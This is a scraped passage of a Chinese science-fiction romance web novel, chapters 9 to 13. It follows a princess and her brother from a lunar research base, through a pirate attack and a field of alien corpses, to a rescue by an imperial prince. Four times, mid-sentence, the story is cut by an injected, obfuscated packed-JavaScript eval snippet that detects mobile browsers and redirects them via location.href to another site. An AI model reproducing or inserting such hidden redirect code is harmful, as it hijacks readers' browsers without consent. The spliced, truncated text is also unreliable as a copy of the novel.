机器圆球转而飞到林沅面前,摄像头瞬间投射了一块虚拟屏,横在他俩中间。 林沅大概扫了一眼,上面是一张简历,用非常夸张的粉色玫瑰图案装饰了四边,内容看着倒确实是挺唬人的,都是什么“竞赛”“项目”之类,密密麻麻写满了右侧。 左侧是一张大头贴一样的证件照。其实长得还是挺不错的,就是不知道为什么让林沅想起一只在自动喂食器镜头里的橘猫。 说话间其实他们一直在往前走,到了一处长廊。机器球也跟着他们一路转到这里来,突然发现不太对劲:“诶诶诶,别动别动——你们这是往哪来呢?林深——住腿!” 林深根本就不想搭理。他领着林沅在一个机械门前站定,直接打开了门禁。 门里是一个挑高看起来至少有十米的宽阔房间。说是房间,可能更像是厂房,因为里面全是堆积成山的各式各样的半淘汰机器人和机械设备,间或还夹杂着一些抱枕和手办。 一个脑袋正从机器堆中间努力往外冒。头顶的机械臂帮他把各种压住自己的东西挪开。 最终一个半躺在机器吊臂末端的男人被送了下来。他就这么就着躺着的姿势打量着两位访客,然后突然跳起来想要跟林沅握手:“嘿嘿,没吓到你吧美女,实在不好意思,我们二次元技术宅是这样的。” 林深冷冰冰地把他隔开:“我怎么就没你这么会丢人。” “因为你已经背叛了阶级。”宋庭眠煞有介事地皱眉摇头,“你早就不是我们二次元技术宅的一员了,你被除名了!” 林深懒得接话。 “你好,初次见面,我是林深的姐姐林沅。”林沅礼貌地打了声招呼。 宋庭眠有些失望地抓了抓自己杂乱到卷曲的黑发:“啊……原来是殿下啊。可惜。” “可惜什么,可不可惜也没有你的事。”林深随手抓起一个抱枕就往他脸上丢。 “啊啊啊这是我女神的限定抱枕!你这个孽子!” “你把女神的限定周边放在这个垃圾场,你女神在二次元有知,也会把你从信徒里除名的。我来是有正经事,能不能拜托你把口水收一收,起来干活了。” “我一天到晚都在干活啊!”宋庭眠苦着脸。 “还有比我更敬业的吗?为了你那个——”他看了看林沅,好像突然想起了什么,欲言又止。 林沅会意:“我出去走走可以吗?不会乱碰东西的,不要紧吧?” 林深点点头。他按了下耳麦:“学姐,我回来了。能麻烦你带我姐姐逛一下基地吗?” 门口一直有一个软软的半透明方型物体在探头探脑,闻言立刻摆出了一个颜文字(〃''▽''〃),晃晃悠悠地弹进来,不断高高跳起又轻盈落下,从身体里伸出两只冰凉的猫爪牵着林沅的手,轻轻拽着她到门外去。 林沅顺从地跟着这轻微的力道往前走,把空间留给林深和宋庭眠。 方形的物体看起来开心极了,一直在林沅周围慢动作一般地落地又弹起,围着她转圈,看得她心里也软软的,语气忍不住像哄小朋友一样:“你好呀,请问你是林深学姐的机器人吗?” 闻言它立刻把自己在地上摊成扁扁的一张,好像有人在慢慢打字一般一点点显示着:“你好,殿下,我叫薄晚,是林深的研二师姐。我在实验室不能走开,可以请你跟它一起过来吗?” 林沅笑着答应:“当然。叫我阿沅就好啦!” 输入的光标闪烁了一会,地上这扁扁的“一滩”竟然慢慢浮起了两团粉色的光圈,好像人害羞以后羞红的脸。它又慢慢打字补充道:“那可不可以请你喊我晚晚呢?” 然后又很快加上:“大家都这么喊。” “好的呀,晚晚。我这就去找你。”林沅的心情也非常好。她能感觉到这位学姐和她的机器人都很可爱。 她跟着跳来跳去的小家伙往实验室走。一路上它似乎更开心了,跳跃地幅度越来越大,从左手边的墙上弹到天花板,再弹到右手边,最后围着林沅继续转圈。简直忙得不知道做什么好。 实验室没有关门。林沅站在门口,一眼望去,各种或飘浮或固定的操作台多得仿佛看不到尽头。一排排巨大的透明玻璃罐里放着各种颜色的不知名液体,里面泡着很多林沅从没有见过的生物。 整个空间里有许多机器人和操作器械在忙碌地工作,却井然有序,几乎没有任何杂声。 林沅正想敲一敲门边提醒下实验室的主人,小机器人就伸出了那双猫猫爪子拉住了她的手,轻轻牵着她往里进。 在一个角落里,几乎称得上“普通”的书桌旁,一个纤细白皙的女孩子安安静静地坐在那里,目不转睛地盯着眼前的小培养罐,一边看一边在旁边的屏幕上记录着什么。 罐子里面是一只刚刚破茧而出的蝴蝶,正站在已经变成透明壳子的茧上,慢慢舒张着被压皱的翅膀。 小机器人蹦过去,伸手拽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616716|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下她的实验服衣角。 薄晚这才发现林沅已经到了,很不好意思地站了起来。小机器人蹦到她手上,变成了一片坚硬的光板。 “不好意思,我刚刚在看蝴蝶,没注意到你过来了。”她低头飞快地敲了几下,然后向林沅举着板子,有些腼腆地笑着。 薄晚长着一双水汪汪的圆眼,留着底端微微向内卷曲的半长披肩发,看上去文静而可爱。 “没关系……我没穿实验服就进来了,是不是不太好?”林沅意识到她好像不会说话,连自己的声音也忍不住放轻了。 薄晚继续在板子上敲:“没事。学校的实验室在里面。外面都是我自己的东西。” 林沅才明白这个几乎看不到尽头的地方竟然只是实验室的外围。 “天呐……”她有些唾弃自己词汇的贫乏,但除了这两个字真的不知道说什么才好。 “我可以和你一起看蝴蝶吗,晚晚?”林沅定了定心神,非常温柔地轻声问。 “当然。”她开心地拉着林沅坐下。两个人一起围着这只蝴蝶,薄晚还时不时在板子上写关于蝴蝶的科普给林沅看。 破茧而出的蝴蝶翅膀慢慢伸直,变得坚硬。灰色的磷粉逐渐蜕变成优雅的深蓝,美得震撼人心。 两个人就这么一边围着蝴蝶一边聊天,直到薄晚的通讯响起。连时间过去了很久都没意识到。 她点开通讯,弹出的虚拟屏上投射出一位优雅精致的美人,头发一丝不苟地盘在脑后,柳叶眉,丹凤眼,眉目如画。看上去比薄晚和宋庭眠都要大一些。 “暄姐。”薄晚敲了一点打招呼的话,举着板子挡住自己半张脸,不知道为什么看着有点心虚。 “晚晚,我听林深说,他拜托你带着殿下逛一逛基地。你把人带到哪里去啦?” “我们在实验室看蝴蝶……”薄晚慢吞吞敲完这句,看着更心虚了。 屏幕里的美人有些无奈地叹了口气,笑着跟探头的林沅打招呼:“殿下你好,我叫沈若暄。” 林沅赶忙惶恐地回应,并请她称呼自己名字就好。 寒暄中才明白,沈若暄是整个实验小组成员们导师的助教,也是他们的博士学姐。 “今天真是难得,要我说,你们也别看什么蝴蝶了,让摄像先记录一下就好。我一会儿把那两个小子一起喊过来,宗望晚些时候也会回来呢,咱们几个好好热闹一下。”沈若暄看着心情非常不错,神采奕奕,衬得她眉目更加秀雅灵动。 “闵哥也要回来!”薄晚似乎有些不可置信,差点敲错字,举着板子晃了好几下跟沈若暄确认。 “是呢,你的闵哥实习提前结束了。他说那边没什么意思,还是想回来驻站。”沈若暄看着薄晚,眼神温柔。 薄晚有些激动,手里的光板边缘被她捏得软软的,差点变回原型。 她关了通讯,牵着林沅的手晃了晃,敲字给她看:“让你陪我这么久,真是不好意思。我们去吃饭,晚上好好给你接风。” 10. 第 10 章 星海 整个实验基地的顶部,是一个巨大的半球形透明罩,既隔绝辐射,也能调节光线,还是一个绝佳的观测点。 吃完了晚饭的几人在这里休憩。沈若暄非常细心地为他们每个人准备了不同的饮品和点心。她从晚饭前就一直在忙碌,虽然有专门做饭的机器人,仍然不放心地盯了很久。 林沅手里握着一杯暖暖的果汁,非常好奇地观察着大家。 宋庭眠似乎稍稍整理了下仪表,看起来没有那么“不羁”了。林沅这才明白其实他不是自来卷,之前只是在机器堆里忙碌地什么形象也不顾了。这会他的黑色短发看起来服帖了很多,修长的腿搭在沙发边上,脑袋枕着距离林深不远处的抱枕,一边不停地敲着虚拟屏,一边和林深探讨着一些晦涩的名词。 “我说你们两个稍微歇一歇吧。”沈若暄非常无奈地把一杯咖啡放到飘浮的、扁扁的圆柱形机器人上,让它给宋庭眠送过去。 “我听说老头当初同意招他的时候,是觉得他看起来绝对不是个‘卷王’。”沈若暄笑着对坐在她旁边的林沅解释道。 林沅现在已经知道,他们说的“老头子”指的是整个基地所有学生名义上的导师,联盟科学研究院的终身研究员,也是星际物理与智能机械学院的院长——蒲岁和。 在月球驻站基地上不止有一个项目组,“星海”是里面唯一一个全年都有学生在岗的。沈若暄则是星海项目组专职副教授颜辂的助教,同时也是蒲岁和真正的学生之一。而宋庭眠、薄晚和林深实际是颜辂在指导。 现在其他项目的学生和老师都已经放假,连颜辂也回家了。整个基地,除了几个必要的安保和后勤管理员,只有现在屋子里的五个人。 “是我愿意当‘卷王’的吗,暄姐?你摸着良心说话,我这都是被谁害的!”宋庭眠忿忿不平地努力抬头示意她们看林深,在林沅的角度瞧着却像是在翻白眼,逗得她忍不住笑出声。 薄晚则一直在安安静静地听他们说话,时不时望向门边。 因为月球上没有大气层的缘故,透过头顶的透明罩子,林沅可以清晰地看见整个太空。蓝色的地球虽然因为视角的原因,被阴影挡住了一部分,但看起来仍然硕大而明亮,让整个星空中所有其他的光点都黯然失色。 “暄姐。”林沅轻声喊她,“你们在这里待久了,会觉得寂寞吗?” 沈若暄和善地看着她,眼神里带着鼓励:“怎么会寂寞呢?能在这里观察地球和月亮,是我从小就梦寐以求的事。我还想,等你去康伦上学以后,一定要邀请你加入哪个短期的驻站项目,也联络一下帝国那边的科研力量呢。” “是吧,我也觉得,真美。”林沅微微抬起头,痴痴地望着太空,神情有些不太好意思,“我还以为我这样想,有点奇怪呢。” “每个人都有自己的喜好和坚持,也许并没有什么非常明确的理由,可能在外人看起来甚至有些奇怪。但是每个科学研究的最开始,也许就是始于一些奇怪的点子吧?” 沈若暄的话音刚落,离他们不远处的门禁便打开了。坐在林沅右手边的薄晚立刻从沙发上站了起来,两只手牢牢地握着板子,有点紧张地往门外望,却并没有向前走一步。 一个戴着兜帽的高个子男人出现在门边,隔着一点阴影,林沅看不太清他的脸。 “哟,宗小望同学回来啦!”宋庭眠瞬间关掉虚拟屏,大呼小叫地喊着,想从沙发上摆出一个帅气的鲤鱼打挺,却起飞失败,仅仅是“顾涌”了几下。 林深继续敲了几个字,也关了屏幕。他嫌弃地瞥了一眼宋庭眠,站起来一边跟门口的人打招呼一边朝他走去:“闵哥。” 门口的人往前几步,走到了光下。他摘下兜帽,露出一张非常年轻俊秀的脸。外衣的衣袖被轻轻卷起,露出麦色小臂上薄薄的肌肉和微凸的青筋。腰背挺拔,四肢修长,有种介于书生文气和军人冷峻之间的特殊气质。 林深接过闵宗望手里的东西,随意翻了几下,眉目舒展:“就是这本,谢谢闵哥。” “客气什么。”青年人笑眯眯地说。声音清冽如泉水击石,非常悦耳。 几个人互相打过了招呼,也介绍了林沅跟他认识。闵宗望是学生里除了暄姐以外最大的。因为沈若暄算助教的缘故,所以他也是整个“星海”学生小组四个人里的组长,今年刚硕士毕业。 薄晚举着小板子安静地站着,比林沅还要有些靠后。闵宗望主动走过去,很熟悉地轻轻揉了揉她的发顶。 薄晚把板子凑到他面前,上面写着:欢迎回家。 过了一会,她低下头想了想,又敲了几个字:这次回来,可以不走了吗? 闵宗望低头认真看着上面短短的一句话,沉默了一会,沉默到林沅都有些紧张,终于轻轻笑着点了点头。 薄晚像是一瞬间被点燃了的烛火,又像是林沅今天刚刚看到的,破茧振翅的蝴蝶。她的眼睛瞬间有了神采,把板子一丢,让小机器人自己变成方形软软地落地。 她往前一步,什么也不顾及了,轻轻扑进了闵宗望的怀里。 林沅跟着沈若暄几人悄悄地退到一边。不去打扰他们。 过了好一会,薄晚才不好意思地松开了他。脸颊羞成了红扑扑的颜色。 闵宗望笑着带着她走到大家身边坐下。沈若暄把整个屋子的灯光都关上了,只在中央升起了一个特殊材料的篝火,给闵宗望递了一杯热饮和一点食物。 几个人握着水杯围着篝火席地而坐。头顶是广袤的夜空,眼前是明亮的火光,身旁是熟悉的挚友。 “真好啊——”宋庭眠长叹一声。他懒懒散散地把手肘搭在林深肩膀上,表情很满足。 他转头问闵宗望:“话说你那个实习不是工资开得挺高的吗,而且半年就转正,怎么不愿意做了?太卷了?不至于吧,还能有比咱们实验室更卷的地方?” “我试了一下,还是不太习惯。”闵宗望缓缓转着手里的杯子,沉吟道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真的吗?”林沅笑着摇摇头,“我一直感觉他很独立,从小就自己出来上学。几乎也不给爸妈发通讯,更不用说我了。” “他这个人啊,跟闵宗望一样,口是心非。”沈若暄毫不留情地批判道。 她叹了口气:“有些人就是这么奇怪。越是喜欢,越是爱意满得都快漫出来了,嘴上越是一句也不肯说,好像说了就不够酷了一样。小屁孩。” 沈若暄眉眼精致,一身旗袍,显得身姿格外优雅娉婷,嘴上却跟气质不大相符,很是不肯饶人:“难怪他俩这么投缘。一样的怪脾气。” “明天你们就要出发了,今晚好好休息。” 她和林沅把薄晚轻轻放到床上。接着又把林沅送到房间门口,两个人拥抱着贴了贴脸颊。 “好孩子,晚安。” 11. 第 11 章 遇袭 “滴答。” “滴答。” “……” 好像来到了一片模糊的迷雾中。林沅看不清周围的环境,只觉得身体被无限放大和缩小,拉扯至扭曲。周围的景象在不可知的白雾后面,闪烁着光怪陆离的色块。 “姐姐……”听起来有点像林深的声音,但又不完全一样。林沅努力想要回应,却觉得声带像有粗砺的砂石堵塞其中。 “姐姐……”他好像在哭。 哭声仿佛一束光照彻黑暗。一瞬间,林沅终于明白到底是哪里不一样——这个声音,更年轻、更稚嫩,甚至有点像小孩子。 “我错了,姐姐,我错了。求求你,我不要看什么穿梭机了……都是我的错,不要丢下我……”哭声没有减弱,反而越来越撕心裂肺。 穿梭机?林沅不禁哑然。这不是她调侃林深的话吗?哪里有什么穿梭机呢,名字听起来就很不靠谱。 何况她从来没有听过林深哭得这样凄惨。哪怕从小到大,犯了再大的错,挨最严重的打,他也没有这样伤心过。 迷迷糊糊地,林沅感觉到一丝源自心底的疼痛。 她还没来得及拼尽全力对弟弟说些什么,视线里的迷雾突然向四周后撤,一瞬间拓开辽阔的空间。 林沅发现她好像站在一个宏伟的建筑内。巨大的哥特式尖塔垂下万丈高墙,凄冷的月光透过望不到顶端的玻璃窗,照在她冰到彻骨的身体上。 一个撕心裂肺的女声不停地祈求着什么。林沅听不清,只觉得有些吵。 时间一点点过去,这个声音越来越响,越来越凄厉,仿佛凝聚了无限的哀伤和悔痛,让林沅心里也更加不好受起来。 可是,我的腿好痛,人也好冷。她默默地在心底对那个女声说。 我救不了你啊。 她努力辨认话语的内容,视线却忍不住想要向地面聚焦。 我为什么跪在地上呢?她脑袋本来就感觉有些迷糊,现在更是头痛极了。 “陛下,求您,放过银河联盟。宇宙这么大,能拿来试验的地方有很多,求求您……” 一线冰凉的触感从她的脸颊侧边缓缓划过。 原来是我在哭泣啊。她终于明白。 “千错万错,都是我的错。求您,把我赶回银河联盟,我愿意这辈子不再出来碍您的眼。” 她的身体不受控制地伸出手,紧紧攥住眼前的衣角,逐渐卑微地匍匐在地。 林沅能感觉到自己的嗓子哑了,泪也快干了,额头触碰在华丽的地砖上,十分刺痛。 此时此刻,她的心里却有些漠然。 突然一阵颠倒天地般的晃动。整个模糊的世界片片开裂,碎成一地齑粉。 梦醒了。 “姐!醒醒!”现实中的林深也在焦急地唤着她,两只手在驾驶台上下操作,十分忙碌。 林沅轻轻甩了甩睡得有些昏沉的头,睁开眼,才发现刚才的晃动不是在做梦。 飞船正在太空中剧烈地翻转。林深和智能驾驶系统一次次努力躲避着什么,却还是不可避免地不断被击中。 “我们遇上了星盗,姐!”林深大声地吼着。不知是什么武器擦着他们一次次飞过,爆炸声无法在太空中传播,只留下飞船舱壁被撞击后震耳欲聋的嗡鸣。 林沅不知道他们怎么会在离开月球驶向下一个目的地时突然遇到星盗。 她连忙打开虚拟屏幕上的星际地图,在一片天旋地转中努力定位现在的坐标。 定位成功后,林沅才明白他们竟然已经驶出了银河联盟的势力范围,到达了边界线外。 “往这里去!”林深正在努力控制方向,林沅把最近的传送点坐标指给他看。 身后漆黑的飞船绘着不成形状的奇怪图案,像是如影随形的鬼魅,紧紧咬着前方慌乱的小飞行器。 “这个传送点到哪里去!”林深一边输入坐标,一边大声问她。 “我不知道!”林沅也大喊。不知是什么东西擦过,林沅只感觉到随着“咣”地一声,飞船剧烈震颤,自己从座位上被高高抛起,好险没被安全装置勒成几截。 “不管了,先甩掉他们。”林深咬咬牙,努力在驾驶位上坐正,“姐,抓好——” 还没等这个“好”字说完,他们就突然加速,然后仿佛被吸走一样,瞬间进入了迁移点。 身体被强大的压力挤占生存的空间,林沅从没有经历过这样的星际传送,在彻底昏过去之前,她有些无奈地想,这未知坐标确实不太靠谱。 “姐。” “醒醒,姐。你不醒,咱们恐怕回不去了。” 林沅再次睁开眼。视线里林深似乎正在检查驾驶台的损坏情况,表情仍然非常镇定。 “你醒了,姐。”林深听到声音,转头看向她,“还好吗,有没有哪里受伤?” 林沅解开安全装置,站起来动了动手脚,意外地没有什么感觉。彻底昏迷过去之前她感觉到明显撞击的力道,不过现在飞船整体看上去似乎情况尚可。 “怎么样,现在什么情况?”林沅凑到林深身旁,一抬头,声音几乎都变了调,“林深……林深!” “别看了,姐。在你醒来之前我已经看了很久了。除了让我吐了好几次以外没有任何意义。”林深头也不抬,继续修他的驾驶台。 林沅转身冲进洗手间,不敢相信她看见了什么,吐得昏天黑地。 尸体。如山般的人类尸体垒成高高的尸墙,向地平线尽头蔓延,挤压、扭曲、变形,似乎堆满整个星球。在她抬头观察的那一刹那,在被飞船带起的火焰燃烧范围边缘,她甚至看清了一具尸体的细节。 裸露的青灰色皮肤,间距很大的一双眼睛,三只手臂,诡异的微笑。下半身已经被火焰烧了个干净,还在冒着微微的火星。 她吐完了,摸索着走出飞船的洗手间,努力控制自己的眼睛不去看向前方。 “姐,飞船能开,但是走不远。我们在那个迁移点行进的时间很明显超出预料,燃料不够了。” “我能做什么?”她努力低着头,让自己镇定下来,但仍然控制不住身体和嗓音,全都在发颤,“还有,这里是怎么回事——” “这里是什么我也不太清楚。”林深摇摇头,看起来也受了不小的冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可能是发生了什么情况,让他们丢下尸体来不及进一步处理。或者也许单纯就是因为这里偏远而安全,绝不会有人涉足。刚才那个迁移点坐标,你是怎么找到的?” 林沅回想了一下:“我要人工智能紧急计算,得出的结论是有一个最近的无名坐标点允许我们通过。” 林深明白了:“这种无人坐标点多半是一些星球主的私人通道,旁人绝不会主动涉足。如果不是为了躲避星盗,我们也绝无可能来到这里。” 行驶了许久,他们终于看到了这片尸山的尽头。林深在平整的地面上停好飞船,林沅重新向威廉和大公官邸都发射了坐标。 “你说。”她顿了一下,“威廉怎么会知道得这么快?” “我们遇险的消息,肯定最先通过飞船警报系统传给大公官邸。爸妈会寻求银河联盟的力量,而这里。”林深看了一下林沅通讯器上最新的定位坐标,“恐怕是梅星附近,银河联盟鞭长莫及。反而是威廉·霍恩海姆,大家都知道,他近期正在梅星。” 12.第 12 章 重逢 林沅最后向威廉发送的坐标,是一片远离尸山的旷野。 星际帝国的飞船队列从另一个方向接近了他们,没有看到那片可怖的景象。 “阿沅,你没事吧?”飞行器进入了队列最前方的帝国军用飞船中。林沅跳下舱门,出现在她眼前的就是全副武装的威廉·霍恩海姆,还有一整个医疗团队。 林沅惶恐地道谢。威廉立刻让属下给银河联盟与大公夫妇回信,同时让医疗机器人为他俩检查身体。 他本来就冷肃的眉眼此刻颇有些不赞同地看了一眼林深:“未成年驾驶飞船,您这样做也太冒险了。” 林沅回头望了一眼,刚想说什么,便见林深红了眼眶,声音哽咽:“对不起,姐姐,都是我的错。要是你出了什么事,我哪里还有脸活下去。” 林沅:“……”这个戏精。 她赶忙安慰,同时也是向威廉解释:“都是我的主意,是我太草率了。别难过,我这不是好好的吗?” 她转向威廉,再次表情真挚地道谢:“多谢殿下,要不是您冒着这么大的风险赶来救我们,真不知道要怎么办才好了。” 威廉领着他们向休息室走去,听到林沅这么说,表情有些和缓:“不必客气,阿沅。我正好在梅星……度假。从大公夫妇那里听说你受到袭击,飞船进入紧急求救模式,发射的最终坐标在梅星附近,立刻就赶来了。” 飞船马上要驶入迁移点,林沅望着黑洞一样的前路,明显感觉和自己来时不是同一个方向:“……威廉,我可以问一下,这是哪个迁移点吗?” “是从梅星到尘星,然后再到这个未命名的星球,有一条公共的迁移路线……你们不是靠着导航坐标到这里来的吗?” “我对星际迁移不太熟悉。”林沅没有正面回答他的问题,只是表现得有些赧然,“尘星是哪里?哎呀,不好意思,这些星球的名字我总是记不住。” 她睁着一双杏眼,满目依恋地看着威廉,看起来非常真挚。 威廉耐心地解释道:“是位于帝国边境的一个工业星球,和各地贸易来往非常频繁,有着全宇宙最多、最复杂的迁移线路建设。” 林沅心里微微震动,仔细观察着威廉的表情,他看起来很镇静,甚至有些隐隐的骄傲。 这让林沅心里的疑惑更深了。她和林深不动声色地对视了一眼,林深微微摇了摇头。她只好把心里的疑惑暂且按下。 威廉非常绅士地给他们安排好了两个相邻的房间,就被不停响起的通讯再次叫走了。 林沅等了几分钟,还是忍不住敲响了林深的房门。 她进了屋子,刚想开口,林深冲她摇了摇头。 他转身拿出一张光板,敲了一行字,递给林沅。 林沅接过来一看,上面写着:“用这个,防窥屏。” 她只好就着板子一点点敲字,体验了一把薄晚的不便,暗暗发誓一定要给她设计一个生物神经系统感应的器械,可以心里想什么就发什么。 “他可疑吗?” “你指哪方面?” “正好在梅星,正好我们遇袭,正好赶来营救。而我们正好能通过私人迁移路线,正好发现成山的尸体。你不觉得太巧了吗?” “私人迁移路线应该是因为我们自动挂了紧急求救模式。这个新款飞船拥有宇宙公共线路的最高权限,在紧急求救模式下甚至可以通过全宇宙百分之九十的私人线路。我怎么可能没有把握就带着你出门呢,姐?不是这么意外的情况,我是不会让你陷入危险中的。” “……老实说,我现在觉得你也非常可疑。” “天地良心。全世界除了爸妈没有比我更希望你安全的人了,姐。” 林沅盯着光板,很久没有说话。 林深看着她莫测的脸色,叹了口气,从林沅手里主动拿过光板,又敲了一段话,删删减减,很长时间才递给她。 “这里是多方交界的边境,常有星盗出没。我会离开银河联盟的边境,恰巧也是想要带你去威廉刚刚提过的那个尘星。这个飞船拥有帝国的边境许可,中间不会经过任何第三国家,所以我才没有防备。我们在帝国边境遇见第三国境内的星盗,紧接着他们就向我们发射了可追踪航向的太空导弹,将我们逼出了帝国境内。” 林沅仔细看过了这段话,再次用光板询问他:“你觉得谁最可疑?” 林深摇了摇头,示意她现在下定论还太早。 林沅犹豫了一下,用光板告诉林深:“之前我没有跟你说……我在那片尸体上,离飞船最近的地方,看到了一个刻在后背的印记……像是什么植物茎叶的图案……有点像,一个被烧掉一部分的……” 她手指停顿了很久,一点点敲下。 “金色鸢尾花。” “但是我不能确定,所以一开始没有告诉你。”她很快补充道,“用这个给任何人定罪还为时过早,我明白。” 林深安慰她:“我已经用飞船修好的加密通讯传回了影像资料。真相会有水落石出的那一天。” 林沅有些疲惫地揉了揉眉心。 林深收起光板,轻声对她说:“去休息吧,姐姐,我们马上就要到梅星了。银河联盟很快便会来接我们,只是猎盟的行政许可大概需要几天时间。别担心。” 林沅点了点头,回到了自己房间休息。 不知是不是躺下前经历的一切太过让人疲惫,她在浅眠中没有感觉到任何放松,只有愈演愈烈的头痛。可是偏偏又陷在半梦半醒中迷迷糊糊无法醒来,觉得心里异常烦躁。 “陛下……” 那个尖锐凄厉的女声又在梦里响起来了。伴随着阵阵哭腔。 林沅非常想骂醒她。哭有什么用?为什么要去祈求一个对你毫无爱意、铁石心肠的人?祈求就能获得怜悯的话,世界上也不会有捕食者和待宰的猎物了。 这个世界本就是弱肉强食,何来怜悯。 哭声正断断续续惹得她烦躁,梦里的场景却慢慢变了,声音戛然而止,视线突然一转,变成一对年轻的男女正牵手漫步。 身着中古欧洲经典宫装长裙的女士,与一位身材高挑的军官手牵着手漫步在草坪上,慢慢走着,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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威廉微微上前一步靠近她,抬起左手,似乎想要做些什么,又好像感觉有些冒犯,犹豫了一会,只是小声道:“没关系……你现在很安全。” “当然。宇宙中恐怕再没有比您和您的军队更让人有安全感的存在了。”林沅客气地恭维着。 “说起这个……”威廉沉默了一下,似乎在思考措辞,“在你休息的时候,那伙星盗的首领,已经在逃亡边缘星球的途中被我的部下抓住了。只是他什么也不肯交代,很快就趁人不注意,偷偷自尽了。” “抱歉。”林沅感觉他好像总是在跟自己道歉,“没能审出什么有用的信息来,是我没做好。” “……怎么会呢,您别自责。”林沅忍下心底不断加深的疑惑和怀疑,仅仅表现出终于放心了的样子,“太好了。那么其他人呢?” 威廉·霍恩海姆的表情空白了一瞬,似乎在奇怪她为什么会这样问,只能不假思索地老实回答道:“都杀了。” 13.第 13 章 夫人 林沅不知该怎么接这句话。只觉得自己在风中凌乱了很久,思考该震惊、恐惧、质疑或者是道谢。 她再一次认识到,即使威廉在她面前仿佛戴上了一层面具,永远努力试图表现得绅士甚至温柔,他仍然是未来那个杀伐果断、以暴制暴的君王。 “姐姐……”好在林深终于出现,给她解了围。 “阿深,跟爸妈报平安了吗?”她赶紧转移话题。 林深点点头:“给爸妈发过通讯了。他们说银河联盟大概一个星际日,也就是48个银河时后,就确定可以获得许可到达梅星了。” 林沅暗暗松了口气。她回头去看威廉,却发现他微微低着头,神色肃穆中夹杂着些许惋惜。 “48小时……这么快。”他认真地看着林沅,“梅星的主人蓬帕杜夫人听说你们到了这里,非常希望可以赏光参观她的庄园。当然……你也可以回绝,我会告诉她客人今天受到了惊吓,需要休息。” 林沅看了一眼林深,见他没有要说什么的意思,便热情地应承下来:“我们初次来到这个星球,哪有不去拜会主人的道理。那样未免太失礼了。” 临出发的时候,林深却接到了学院的通讯,似乎是实验项目进程出了一点问题。于是他暂时留在军用飞船上,林沅和威廉一起前往蓬帕杜夫人的庄园。 “蓬帕杜夫人曾经是星际帝国一位勋爵的妻子。”在小型的短途飞船上,林沅正观察着舷窗外样貌十分特别的城市,便听到身边的威廉轻声说道。 他们在一个钢铁洪流般的建筑集群中穿梭,黑灰色是飞船两边唯一能看到的颜色。所有聚居区的墙壁全都高耸入云,如同巨人俯视着渺小的人间。飞船在狭窄的缝隙中勉强穿行许久,终于等到空间越来越宽阔,两边冰冷的厚墙似乎在一瞬间集体后撤。 一个十分宽广的城市中心广场出现在视野中。椭圆形的辽阔空地推开阴沉且充满压迫感的建筑,留下市民们活动的空间。 一座身着白色宫廷长裙的女士雕像矗立在广场中央,于半空中悬浮。因为自转的动作,她的衣袂也像随风摇摆的花枝一样上下翻飞,如同在空中起舞。 飞船从雕像面前掠过的一瞬间,像是夫人姣好面容上盈盈一动的泪痣。 “这是梅星首都的城市地标,蓬帕杜夫人像。”威廉没有什么感情地侧头望着窗外。从林沅的角度看过去,只觉得他脊背挺直,整个人冰冷坚硬如同冬季的寒风,掺杂着彻骨的霜雪。 观察这个人,常常让林沅想起冰川矗立的极地深海。人类踏足的领地之外,鲸鱼挺身仰头浮出水面,却只留下半朽的骸骨,和狂风的呼号幽咽。 过了城市雕像,仍然是和之前一样的建筑集群。只不过这次是从宽阔处变得越来越窄。 等到眼前一亮时,他们终于从一线天般的窄缝中驶出。 眼前的景象似乎突然增加了饱和度,变成色彩鲜明的大片草地,还有各种各样的动植物。木头围栏隔出一片片不大不小的生活区。一个田园诗般写意的庄园出现在视野中,和刚才充满压抑的城市区风格有着天壤之别。 他们在飞船专用的停泊地点上降落。一位身着华服的夫人早已等待在那里。 几人互相见礼。蓬帕杜夫人像揽着自己的女儿那样亲昵地揽着林沅向别墅走去。她看起来似乎尚未到中年,虽然眼神有着岁月洗礼的痕迹,但皮肤仍然细嫩白皙。细细描绘的墨眉下,一双温柔多情的桃花眼盛着人间芳菲的盛景,高挺的鼻梁微带驼峰,玫红的薄唇勾勒点缀,锦上添花。 林沅轻轻嗅着她身上一点好闻的花香,只觉得难怪刚才在飞船上,威廉说蓬帕杜夫人曾是星际帝国多少勋贵皇族的梦中情人。 她从年少时便在帝国的上层圈子中游刃有余,与勋爵成婚后更是作为社会风尚的引领者,在大大小小的内外政事上,替当时还是皇后的威廉祖母悉心处理。 后来威廉的父亲继位。她为了避嫌,加上勋爵过世,便买下这颗第三国的星球,慢慢成为了星球主,并尝试加入了猎盟。 “从前便听说殿下是位倾国倾城的美人儿。”蓬帕杜夫人细细打量着被她半揽在怀里的林沅,笑着说道,“如今百闻不如一见,果然比照片和视频还要好看。” 林沅谨慎地说着些客气话,把夫人也恭维了一番。 